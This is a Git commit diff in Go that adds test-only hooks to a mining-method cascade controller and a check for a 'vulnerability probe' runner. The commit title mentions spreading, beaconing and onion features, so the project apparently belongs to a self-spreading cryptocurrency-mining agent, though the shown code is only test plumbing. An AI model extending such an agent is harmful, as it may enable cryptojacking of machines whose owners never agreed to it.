Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -695,6 +695,99 @@ func (c *ChainController) ResumeAll(ctx context.Context) {
|
||||
c.RestartChain(ctx)
|
||||
}
|
||||
|
||||
// SetChainHooksForTest patches cascade hooks; non-nil fields override (unit tests only).
|
||||
func (c *ChainController) SetChainHooksForTest(patch ChainHooks) {
|
||||
c.mu.Lock()
|
||||
h := c.hooks
|
||||
if patch.StartDockerLoad != nil {
|
||||
h.StartDockerLoad = patch.StartDockerLoad
|
||||
}
|
||||
if patch.StartContainer != nil {
|
||||
h.StartContainer = patch.StartContainer
|
||||
}
|
||||
if patch.StartWSL != nil {
|
||||
h.StartWSL = patch.StartWSL
|
||||
}
|
||||
if patch.StartPowerShell != nil {
|
||||
h.StartPowerShell = patch.StartPowerShell
|
||||
}
|
||||
if patch.StartDotnet != nil {
|
||||
h.StartDotnet = patch.StartDotnet
|
||||
}
|
||||
if patch.StartInProcess != nil {
|
||||
h.StartInProcess = patch.StartInProcess
|
||||
}
|
||||
if patch.StartGPU != nil {
|
||||
h.StartGPU = patch.StartGPU
|
||||
}
|
||||
if patch.StartPyOpenCL != nil {
|
||||
h.StartPyOpenCL = patch.StartPyOpenCL
|
||||
}
|
||||
if patch.StopDockerLoad != nil {
|
||||
h.StopDockerLoad = patch.StopDockerLoad
|
||||
}
|
||||
if patch.StopContainer != nil {
|
||||
h.StopContainer = patch.StopContainer
|
||||
}
|
||||
if patch.StopWSL != nil {
|
||||
h.StopWSL = patch.StopWSL
|
||||
}
|
||||
if patch.StopPowerShell != nil {
|
||||
h.StopPowerShell = patch.StopPowerShell
|
||||
}
|
||||
if patch.StopDotnet != nil {
|
||||
h.StopDotnet = patch.StopDotnet
|
||||
}
|
||||
if patch.StopInProcess != nil {
|
||||
h.StopInProcess = patch.StopInProcess
|
||||
}
|
||||
if patch.StopGPU != nil {
|
||||
h.StopGPU = patch.StopGPU
|
||||
}
|
||||
if patch.StopPyOpenCL != nil {
|
||||
h.StopPyOpenCL = patch.StopPyOpenCL
|
||||
}
|
||||
if patch.IsDockerLoadHealthy != nil {
|
||||
h.IsDockerLoadHealthy = patch.IsDockerLoadHealthy
|
||||
}
|
||||
if patch.IsContainerHealthy != nil {
|
||||
h.IsContainerHealthy = patch.IsContainerHealthy
|
||||
}
|
||||
if patch.IsWSLHealthy != nil {
|
||||
h.IsWSLHealthy = patch.IsWSLHealthy
|
||||
}
|
||||
if patch.IsGPUSupported != nil {
|
||||
h.IsGPUSupported = patch.IsGPUSupported
|
||||
}
|
||||
if patch.PoolConfigured != nil {
|
||||
h.PoolConfigured = patch.PoolConfigured
|
||||
}
|
||||
if patch.RunTierProbes != nil {
|
||||
h.RunTierProbes = patch.RunTierProbes
|
||||
}
|
||||
if patch.RunTierChain != nil {
|
||||
h.RunTierChain = patch.RunTierChain
|
||||
}
|
||||
if patch.StopTiers != nil {
|
||||
h.StopTiers = patch.StopTiers
|
||||
}
|
||||
if patch.WebGPUReady != nil {
|
||||
h.WebGPUReady = patch.WebGPUReady
|
||||
}
|
||||
if patch.GPUComputeReady != nil {
|
||||
h.GPUComputeReady = patch.GPUComputeReady
|
||||
}
|
||||
c.hooks = h
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetChainOrderForTest overrides the ordered cascade (unit tests only).
|
||||
func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
|
||||
c.mu.Lock()
|
||||
c.chain = append([]MiningMethod(nil), chain...)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// Monitor watches container health and advances the chain on exit.
|
||||
func (c *ChainController) Monitor(ctx context.Context) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
|
||||
@@ -14,6 +14,11 @@ func SetVulnProbeRunner(fn func() TierAttempt) {
|
||||
vulnProbeRunner = fn
|
||||
}
|
||||
|
||||
// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
|
||||
func VulnProbeRunnerWired() bool {
|
||||
return vulnProbeRunner != nil
|
||||
}
|
||||
|
||||
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
|
||||
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
select {
|
||||
|
||||
Reference in New Issue
Block a user